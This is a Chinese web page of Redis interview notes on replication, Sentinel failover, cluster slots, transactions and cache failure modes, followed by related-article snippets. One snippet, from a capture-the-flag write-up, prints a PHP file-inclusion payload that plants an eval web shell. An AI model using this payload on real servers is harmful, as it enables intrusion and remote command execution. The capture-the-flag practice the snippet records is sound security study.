5 面试题--redis

伪客户端:

伪客户端的 fd 属性值为 -1;伪客户端处理的命令请求来源于 AOF ⽂件或者 Lua 脚本,⽽不是⽹络,所以这种客户端不需要套接字连接,⾃然也不需要记录套接字描述符。⽬前 Redis 服务器会在两个地⽅ ⽤到伪客户端,⼀个⽤于载⼊ AOF ⽂件并还原数据库状态(载⼊完成则退出),⽽另⼀个则⽤于执⾏ Lua 脚本中包含的 Redis 命令(随服务器⼀直存在)。

不修改数据库的命令也可能写⼊ AOF ⽂件:

PUBSUB 命令虽然没有修改数据库,但该命令向频道的所有订阅者发送消息这⼀⾏为带有副作⽤,接收到消息的所有客户端的状态都会因为这个命令⽽改变。因此,服务器需要使⽤ REDIS_FORCE_AOF 标志,强制将这个命令写⼊ AOF ⽂件,这样在将来载⼊ AOF ⽂件时,服务器就可以再次执⾏相同的。

服务器使⽤两种模式来限制客户端输出缓冲区的⼤⼩:

硬性限制:如果输出缓冲区的⼤⼩超过了硬性限制所设置的⼤⼩,那么服务器⽴即关闭客户端。
软性限制:如果输出缓冲区的⼤⼩超过了软性限制所设置的⼤⼩,但还没超过硬性限制,那么服务器会继续监视客户端,如果输出缓冲区的⼤⼩⼀直超出软性限制,并且持续时间超过服务器设定的时⻓,那么服务器将关闭客户端;相反地,如果输出缓冲区的⼤⼩在指定时间之内,不再超出软性限制,那么客户端就不会被关闭。

服务器从启动到可处理客户端的命令请求需要执⾏步骤:

1. 初始化服务器状态
2. 载⼊服务器配置(包含⽤户⾃定义配置)
3. 初始化服务器数据结构
4. 还原数据库状态
5. 执⾏事件循环

复制

在 Redis 中,⽤户可以通过执⾏ SLAVEOF 命令,让⼀个服务器去复制另⼀个服务器,称呼被复制的服务器为主服务器,⽽对主服务器进⾏复制的服务器则被称为从服务器。复制的功能分为 同步(主从⼀致)和 命令传播(主服务器修改后从服务器更新⾄⼀致)两个操作。

复制步骤:

1. 从服务器向主服务器发送 PSYNC 命令;
2. 然后主服务器执⾏ BGSAVE 命令,在后台⽣成⼀个 RDB ⽂件,之后使⽤⼀个缓冲区记录从现在开始执⾏的所有写命令;
3. 当主服务器的 BGSAVE 命令执⾏完成后,主服务器会将 BGSAVE 命令⽣成的 RDB ⽂件发送给从服务器,从服务器接收并载⼊这个 RDB ⽂件,将⾃⼰的数据库状态更新⾄主服务器执⾏ BGSAVE 命令时的数据库状态;
4. 主服务器将记录在缓冲区⾥⾯的所有写命令发送给从服务器,从服务器执⾏这些写命令,将⾃⼰的数据库状态更新⾄主服务器数据库当前所处的状态。
5. 当上述同步完成后,将使⽤下图流程(命令传播阶段)。当主服务器接收到新的写命令时,将向所有的从服务器发送写命令并存⼊固定⻓度的复制积压缓冲区,同时主从服务器各⾃维护复制偏移量 (可根据偏移量来判断是否主从⼀致)。若某从服务器断线重连后,可通过 PSYNC 命令向主服务器发送⾃⼰的复制偏移量,主服务器会根据该复制偏移量决定如何对该从服务器执⾏同步。若复制偏移量之后的数据仍在复制积压缓冲区内,则将之后的写命令发送给该从服务器进⾏同步;否则,将对该从服务器执⾏上述 4 个步骤重新同步。

        

⼼跳检测:

        

1. 主从服务器可以通过发送和接收⼼跳检测命令来检测两者之间的 ⽹络连接是否正常;
2. 辅助实现 min_slaves 配置选项,防⽌主服务器在不安全的情况下执⾏写命令;
3. 通过复制偏移量检测命令是否丢失。主服务器收到命令,若之前的写命令在半路丢失,可以检查到从服务器当前的复制偏移量少于⾃⼰的复制偏移量,从⽽重新发送从服务器缺少的数据给从服务
器。

Sentinel(哨兵)

Sentinel 是 Redis 的⾼可⽤性解决⽅案:由⼀个或多个 Sentinel 实例组成的 Sentinel 系统可以监视任意多个主服务器,以及这些主服务器属下的所有从服务器,并在被监视的主服务器进⼊下线状态时,⾃动将下线主服务器属下的某个从服务器升级为新的主服务器,然后由新的主服务器代替已下线的主服务器继续处理命令请求。

Sentinel 启动需要执⾏的步骤:

1. 初始化服务器。本质是 Redis 普通服务器,但是不加载 RDB ⽂件等。
2. 将普通 Redis 服务器使⽤的代码替换成 Sentinel 专⽤代码。即加载不同于普通服务器的命令表
3. 初始化 Sentinel 状态。根据给定的配置⽂件,初始化 Sentinel 的监视主服务器列表等
4. 创建连向主服务器的⽹络连接。对于每个被 Sentinel 监视的主服务器来说,Sentinel 会创建两个连向主服务器的异步⽹络连接:⼀个是命令连接,这个连接专⻔⽤于向主服务器发送命令,并接收命令回复。另⼀个是订阅连接(解决客户端不在线或断线之后⽆法接收消息的问题,因为被发送的消息都不会保存在 Redis 服务器⾥),这个连接是专⻔⽤于订阅主服务器的频道。
Sentinel 监视某服务器,同时也可感知到监视该服务器的其他 Sentinel 并做相应更新,对其建⽴命令连接但不建⽴订阅连接,这是因为 Sentinel 需要通过接收主服务器或者从服务器发来的频道信息来发现未 知的新 Sentinel,所以才需要建⽴订阅连接,⽽相互已知的 Sentinel 只要使⽤命令连接来进⾏通信就⾜ 够了。

检测主观下线状态:

默认情况下,Sentinel 会以每秒⼀次的频率向所有与它创建了命令连接的实例(包括主从服务器、其他Sentinel 在内)发送 PING 命令,并通过实例返回的 PING 命令回复来判断实例是否在线,若在指定时间内连续返回⽆效回复则判断下线。注意每个 Sentinel 指定的时间可能是不⼀样的。
检测客观下线状态:当 Sentinel 将⼀个主服务器判断为主观下线之后,为了确认这个主服务器是否真的下线了,它会向同样监视这⼀主服务器的其他 Sentinel 进⾏询问,看它们是否也认为主服务器已经进⼊了下线状态(可以是主观下线或者客观下线)。当 Sentinel 从其他 Sentinel 那⾥接受到⾜够数量的已下线判断后,Sentinel 就会将该服务器判断为客观下线,并对主服务器执⾏故障转移操作。
选举领头 Sentinel:
当⼀个主服务器被判断为客观下线时,监视这个下线主服务器的各个 Sentinel 会进⾏协商,选举出⼀个领头 Sentinel,并由领头 Sentinel 对下线主服务器执⾏故障转移操作。协商规则如下:
1. 监视该客观下线的每个 Sentinel 会互相向其他 Sentinel 发送消息,⽽⾃身把接收到的发送第⼀个消息的那个 Sentinel 设置为⾃⼰的领头,并拒绝后续的所有该消息;
2. 统计⾃身是多少 Sentinel 的领头,当超过半数时将成为真正的领头 Sentinel,并执⾏故障转移操作;
3. 若在给定时限内都不满⾜,则在⼀段时间之后再次选举,直到选出领头 Sentinel 为⽌。

故障转移:

领头 Sentinel 将对已下线的主服务器执⾏故障转移操作:
1. 在已下线的主服务器属下的所有从服务器⾥⾯,挑选出⼀个从服务器,并将其转为主服务器。⾸先排除不在线的从服务器,其次排除最近没有成功通信过的从服务器,然后根据配置去除数据⽐较旧的从服务器,最后按优先级、复制偏移量、运⾏ID 排序后选择⼀个从服务器。
2. 让已下线的主服务器属下的所有从服务器改为复制新的主服务器;
3. 将已下线主服务器设置为新的主服务器的从服务器,当这个旧的主服务器重新上线时,它就会成为新的主服务器的从服务器;

集群

集群是 Redis 提供的分布式数据库⽅案,通过分⽚来进⾏数据共享,并提供复制和故障转移功能。
Redis 集群通过 分⽚ 的⽅式来保存数据库中的键值对:集群的整个数据库被分为 16384 个槽
(slot),数据库中的每个键都属于这 16384 个槽的其中⼀个,集群中的每个节点可以处理 0 个或最多 16384 个槽。当数据库中的 16384 个槽都有节点在处理时,集群处于上线状态;相反,有任何⼀个槽没有得到处理,那么集群处于下线状态。(集群中的每个节点都会记录⾃⼰负责处理的槽以及所有其他节点处理的槽)
⼀个集群客户端通常会与集群中的多个节点创建套接字连接,⽽所谓的节点转向实际上就是换⼀个套接字来发送命令。如果客户端尚未与想要转向的节点创建套接字连接,那么客户端会先根据 MOVED 错误提供的 IP 地址和端⼝号来转向连接节点,然后再重试。、
重新分⽚:
Redis 集群的重新分⽚操作可以将任意数量已经指派给某个节点的槽改为指派给另⼀个节点,并且相关 槽所属的键值对也会从源节点被移动到⽬标节点。重新分⽚操作可以在线进⾏,在重新分⽚的过程中,集群不需要下线,并且源节点和⽬标节点都可以继续处理命令请求。
ASK 错误和 MOVED 错误都会导致客户端转向,区别在于:
1. MOVED 错误代表槽的负责权已经从⼀个节点转移到了另⼀个节点:在客户端收到关于槽 i 的
MOVED 错误之后,客户端每次遇到关于槽 i 的命令请求时,都可以直接将命令请求发送⾄
MOVED 错误所指向的节点,因为该节点就是⽬前负责槽的节点;
2. ASK 错误只是两个节点在迁移槽的过程中使⽤的⼀种临时措施:在客户端收到关于槽 i 的 ASK 错误之后,客户端只会在接下来的⼀次命令请求中将关于槽 i 的命令请求发送⾄ ASK 错误所指示的节点,但这种转向不会对客户端今后发送关于槽 i 的命令请求产⽣任何影响,客户端仍然会将关于槽 的命令请求发送⾄⽬前负责处理槽 i 的节点,除⾮ ASK 错误再次出现。

6.5 事务

Redis 通过 MULTI(切换为事务状态)、EXEC(执⾏事务队列)、WATCH(乐观锁) 等命令来实现事务功能。事务提供了⼀种将多个命令请求打包,然后⼀次性、按顺序地执⾏多个命令的机制,并且在事务执⾏期间,服务器不会中断事务⽽改去执⾏其他客户端的命令请求,它会将事务中的所有命令都执⾏完毕,然后才去处理其他客户端的命令请求。
WATCH 可以在 EXEC 命令执⾏之前,监视任意数量的数据库键,并在 EXEC 命令执⾏时,检测被监视的键是否⾄少有⼀个已经被修改过了,如果是的话,服务器将拒绝执⾏事务,并向客户端返回代表事 务执⾏失败的空回复。
原⼦性:
Redis 的事务和传统的关系型数据库事务的最⼤区别在于,Redis 不⽀持事务回滚机制,即使事务队列中的某个命令在执⾏期间出现了错误,整个事务也会继续执⾏下去,直到将事务队列中的所有命令都执⾏完毕为⽌。
⼀致性:
1. 处理⼊队错误:如果⼀个事务在⼊队命令的过程中,出现了命令不存在或者命令的格式不正确等情况,那么 Redis 将拒绝执⾏这个事务,所以 Redis 事务的⼀致性不会被带有⼊队错误的事务影
响。
2. 执⾏错误:执⾏过程中发⽣的错误都是⼀些不能在⼊队时被服务器发现的错误,这些错误只会在命令实际执⾏时被触发。即使在事务的执⾏过程中发⽣了错误,服务器也不会中断事务的执⾏,它会继续执⾏事务中余下的其他命令,并且已执⾏的命令(包括执⾏命令所产⽣的结果)不会被出错的命令影响,因此不会对事务的⼀致性产⽣任何影响。对数据库键执⾏了错误类型的操作是事务执⾏期间最常⻅的错误之⼀。
3. 服务器停机:⽆论服务器是有持久化(加载 AOF 或 RDB ⽂件)还是⽆持久化(空⽩数据库),都将保持数据的⼀致性。
隔离性:因为 Redis 使⽤单线程的⽅式来执⾏事务(以及事务队列中的命令),并且服务器保证,在执⾏事务期间不会对事务进⾏中断,因此,Redis 的事务总是以串⾏的⽅式运⾏的,并且事务也总是具有隔离性。
持久性:因为 Redis 的事务不过是简单地⽤队列包裹了⼀组 Redis 命令,并没有为事务提供任何额外的持久化功能,所以 Redis 事务的持久性由 Redis 所使⽤的持久化模型决定:
1. 当服务器在 ⽆持久化的内存模式 下运⾏时,事务 不具持久性;
2. 当服务器在 RDB 持久化模式 下运⾏时,服务器只会在特定的保存条件被满⾜时,才会执⾏
BGSAVE 命令对数据库进⾏保存操作,并且异步执⾏的 BGSAVE 不能保证事务数据被第⼀时间保
存到硬盘,因此不具持久性;
3. 当服务器在 AOF 持久化模式 下,并且 appendfsync 选项的值为 always 时,程序总会在执⾏命
令之后调⽤同步函数,将命令数据真正保存到硬盘,具有持久性;
4. 当服务器在 AOF 持久化模式 下,并且 appendfsync 选项的值为 everysec 时,程序会每秒同步
⼀次命令数据到硬盘。因为停机可能会恰好发送在等待同步的那⼀秒内,这可能会造成数据丢失,
不具有持久性;
5. 当服务器在 AOF 持久化模式 下,并且 appendfsync 选项的值为 no 时,程序会交由操作系统来
决定何时将命令数据同步到硬盘,该情况下事务 不具有持久性。
不论 Redis 在什么模式下运⾏,在⼀个事务的最后加上 SAVE 命令总可以保证事务的 持久性。但是资源消耗⼤。

6.6 缓存管理

缓存穿透

缓存穿透是指缓存和数据库中都没有的数据,⽽⽤户不断发起请求;
解决⽅案:
接⼝层增加校验,如⽤户鉴权校验,id做基础校验,id<=0的直接拦截
设置空缓存:将key-value对写为key-null,缓存有效时间可以设置短点,这样可以防⽌攻击⽤户反复⽤同⼀个id暴⼒攻击。

缓存击穿

缓存击穿是指缓存没有但数据库有的数据(⼀般是缓存时间到期),这时由于并发⽤户特别多,引起数据库压⼒瞬间增⼤;
解决⽅法:
分布式互斥锁:只允许⼀个线程重建缓存,其他线程等待重建缓存的线程执⾏完,重新从缓存获取数据即可。
永不过期:为每个键值对设置⼀个逻辑过期时间,当发现超过逻辑过期时间后,会使⽤单独的线程去更新缓存

缓存雪崩

缓存雪崩是指缓存中数据⼤批量到过期时间,⽽查询数据量巨⼤,引起数据库压⼒过⼤甚⾄宕机。和缓存击穿不同的是,缓存击穿指并发查同⼀条数据,缓存雪崩是不同数据都过期了,很多数据都查不到从⽽查数据库。
解决⽅案:
设置过期时间随机,防⽌同⼀时间⼤量数据过期现象发⽣。
如果缓存数据是分布式部署,将热点数据均匀的分布在不同的缓存数据库中。
设置热点数据永不过期

6.7 ⾼并发系统设计

有限资源⾯对⼤量请求,如何解决资源的请求
降低流量:⽐如前端返回⼀些伪消息(可以轻松判断的)
⽤户请求过来时放⼊消息队列中处理

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/201742.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Web】NewStarCTF Week3 个人复现

①Include &#x1f350; ?filephpinfo 提示查下register_argc_argv 发现为on LFI包含 pearcmd命令执行学习 pearcmd.php文件包含妙用 ?file/usr/local/lib/php/pearcmd&config-create/<?eval($_POST[a])?>./ha.php ?file./ha post传&#xff1a; asystem…

云时空社会化商业 ERP 系统 service SQL 注入漏洞复现

0x01 产品简介 时空云社会化商业ERP&#xff08;简称时空云ERP&#xff09; &#xff0c;该产品采用JAVA语言和Oracle数据库&#xff0c; 融合用友软件的先进管理理念&#xff0c;汇集各医药企业特色管理需求&#xff0c;通过规范各个流通环节从而提高企业竞争力、降低人员成本…

关于MongoDB

MongoDB介绍 MongoDB是一个介于关系数据库和非关系数据库之间的产品&#xff0c;是非关系数据库当中功能最丰富&#xff0c;最像关系数据库的。它支持的数据结构非常松散&#xff0c;因此可以存储比较复杂的数据类型。Mongo最大的特点是它支持的查询语言非常强大&#xff0c;其…

【23种设计模式·全精解析 | 自定义Spring框架篇】Spring核心源码分析+自定义Spring的IOC功能,依赖注入功能

文章目录 ⭐⭐⭐Spring核心源码分析自定义Spring框架⭐⭐⭐一、Spring使用回顾二、Spring核心功能结构1、Spring核心功能2、bean概述 三、Spring IOC相关接口分析1、BeanFactory解析2、BeanDefinition解析3、BeanDefinitionReader解析4、BeanDefinitionRegistry解析5、创建容器…

科研学习|论文解读——Task complexity and difficulty in music information retrieval

摘要&#xff1a; 关于音乐信息检索&#xff08;MIR&#xff09;中任务复杂度和任务难度的研究很少&#xff0c;而文本检索领域的许多研究发现任务复杂度和任务难度对用户效率有显着影响。本研究旨在通过探索 i) 任务复杂度和任务难度之间的关系&#xff1b; ii) 影响任务难度的…

基于合成数据的行人检测AI模型训练

在线工具推荐&#xff1a; 三维数字孪生场景工具 - GLTF/GLB在线编辑器 - Three.js AI自动纹理化开发 - YOLO 虚幻合成数据生成器 - 3D模型在线转换 - 3D模型预览图生成服务 近年来&#xff0c;自动驾驶汽车因其对社会的广泛影响而越来越受欢迎&#xff0c;因为它们提高…

专业的事交给专业的公司来做,文件销毁 数据销毁 硬盘销毁

在当今信息化社会&#xff0c;数据和文件已经成为企业和个人生活中不可或缺的一部分。然而&#xff0c;随着数据量的不断增长&#xff0c;如何确保数据的安全性和隐私性成为了一个亟待解决的问题。为了解决这个问题&#xff0c;文件销毁、硬盘销毁、数据销毁和物料销毁等技术应…

作为用户,推荐算法真的是最优解么?

前言 众所周知&#xff0c;随着互联网技术的发展&#xff0c;推荐算法也越来越普及。无论是购物网站、社交媒体平台还是在线影视平台&#xff0c;推荐算法已成为用户获取相关信息的主要途径。据悉&#xff0c;近期GitHub决定结合算法推荐&#xff0c;将“Following”和“For Yo…

利用ogr2ogr从PostGIS中导出/导入Tab/Dxf/Geojson等格式数据

ogr2ogr Demo Command 先查看下当前gdal支持的全部格式&#xff0c;部分gdal版本可能不支持PostGIS。 如出现PostgreSQL表名支持。 #全部支持的格式 ogrinfo --formats | sort #AVCBin -vector- (rov): Arc/Info Binary Coverage #AVCE00 -vector- (rov): Arc/Info E00 (ASC…

任务管理流程及任务管理工具

Leangoo领歌是一款永久免费的专业的敏捷开发管理工具&#xff0c;提供端到端敏捷研发管理解决方案&#xff0c;涵盖敏捷需求管理、任务协同、进展跟踪、统计度量等。 Leangoo支持敏捷研发管理全流程&#xff0c;包括小型团队敏捷开发&#xff0c;规模化敏捷SAFe&#xff0c;Scr…

vue3还用this吗?getCurrentInstance获取当前组件实例

在 Vue 2 中&#xff0c;this 关键字代表当前组件实例。在组件的选项对象中&#xff0c;this 可以用于访问组件实例的属性、方法以及 Vue 实例的一些特定方法。 在Vue3中&#xff0c;我们发现this是undefined&#xff0c;那我们真的没法使用this了吗&#xff1f;vu3给我们提供…

了解HashMap底层数据结构吗

程序员的公众号&#xff1a;源1024&#xff0c;获取更多资料&#xff0c;无加密无套路&#xff01; 最近整理了一份大厂面试资料《史上最全大厂面试题》&#xff0c;Springboot、微服务、算法、数据结构、Zookeeper、Mybatis、Dubbo、linux、Kafka、Elasticsearch、数据库等等 …

从零搭建AlibabaCloud微服务项目

1&#xff0c;创建maven项目工程如下 equipment-admin 后台equipment-applet 前台或小程序端或app、h5equipment-common 公共模块equipment-gateway 网关equipment-mapper mapper层操作数据库equipment-model 实体类对应数据库表 2&#xff0c;在父pom文件引入依赖 <proper…

【C++】Makefile

宏定义含义举例CPPFLAGSC 预编译的选项CPPFLAGS(r’-DRILL_USE_BTHREAD1’)CFLAGSC 编译器的选项CFLAGS(’ -g -Ofast -pipe -W -Wall -fPIC’)CXXFLAGSC 编译器的选项CXXFLAGS(’ -g -Ofast -pipe -W -Wall -Werror -fPIC -DRAPIDJSON_HAS_STDSTRING -stdc17’ ) 写在最后&…

MySQL--主从复制

主从复制 主从复制是指将主数据库的DDL和DML操作通过二进制日志传到从库服务器中&#xff0c;然后在从库上对这些日志重新执行&#xff08;也叫重做&#xff09;&#xff0c;从而使得从库和主库的数据保持同步。 MySQL支持一台主库同时向多台从库进行复制&#xff0c;从库同时…

微服务链路追踪组件SkyWalking实战

概述 微服务调用存在的问题 串联调用链路&#xff0c;快速定位问题&#xff1b;理清服务之间的依赖关系&#xff1b;微服务接口性能分析&#xff1b;业务流程调用处理顺序&#xff1b; 全链路追踪&#xff1a;对请求源头到底层服务的调用链路中间的所有环节进行监控。 链路…

深入理解MySQL索引底层数据结构与算法

索引的本质 索引是帮助MySQL高效获取数据的排好序的数据结构 索引的数据结构 二叉树红黑数Hash表B-Tree MySQL索引底层为啥不用二叉树 如图&#xff0c;对单边增长的数据&#xff0c;索引效率没有什么提升 MySQL索引底层为啥不用红黑数 红黑数&#xff1a;二叉平衡树 随…

王道p18 04.从有序顺序表中删除其值在给定值s与1之间(要求s<1)的所有元素,若s或t不合理或顺序表为空,则显示出错信息并退出运行。(c语言代码实现)

视频讲解在这里哦&#xff08;感谢支持&#xff01;&#xff09;&#x1f447; p18 第四题王道数据结构课后算法题&#xff08;c语言代码实现&#xff09;_哔哩哔哩_bilibili 本题代码如下 void deletest(struct sqlist* L, int s, int t) {int i 0;int j 0;if (s > t …

onelist能让alist聚合网盘拥有海报墙

什么是 onelist &#xff1f; onelist 是一个类似 emby 的专注于刮削 alist 聚合网盘形成影视媒体库的程序。 主要解决以下痛点&#xff1a; alist 挂载云盘后能在网页端看视频&#xff0c;却没有分类&#xff0c;没有海报墙&#xff1b;使用 webdav 挂载本地后&#xff0c;用…

客服管理者如何有效管理客服团队,有哪些高效方式?

在如今的市场竞争中&#xff0c;客户服务是企业成功的关键因素之一。因此&#xff0c;客服团队的有效管理至关重要。客服管理者需要了解如何有效地管理客服团队&#xff0c;以确保客户的满意度和忠诚度&#xff0c;从而提高企业的竞争力。 以下是客服管理者如何有效管理客服团队…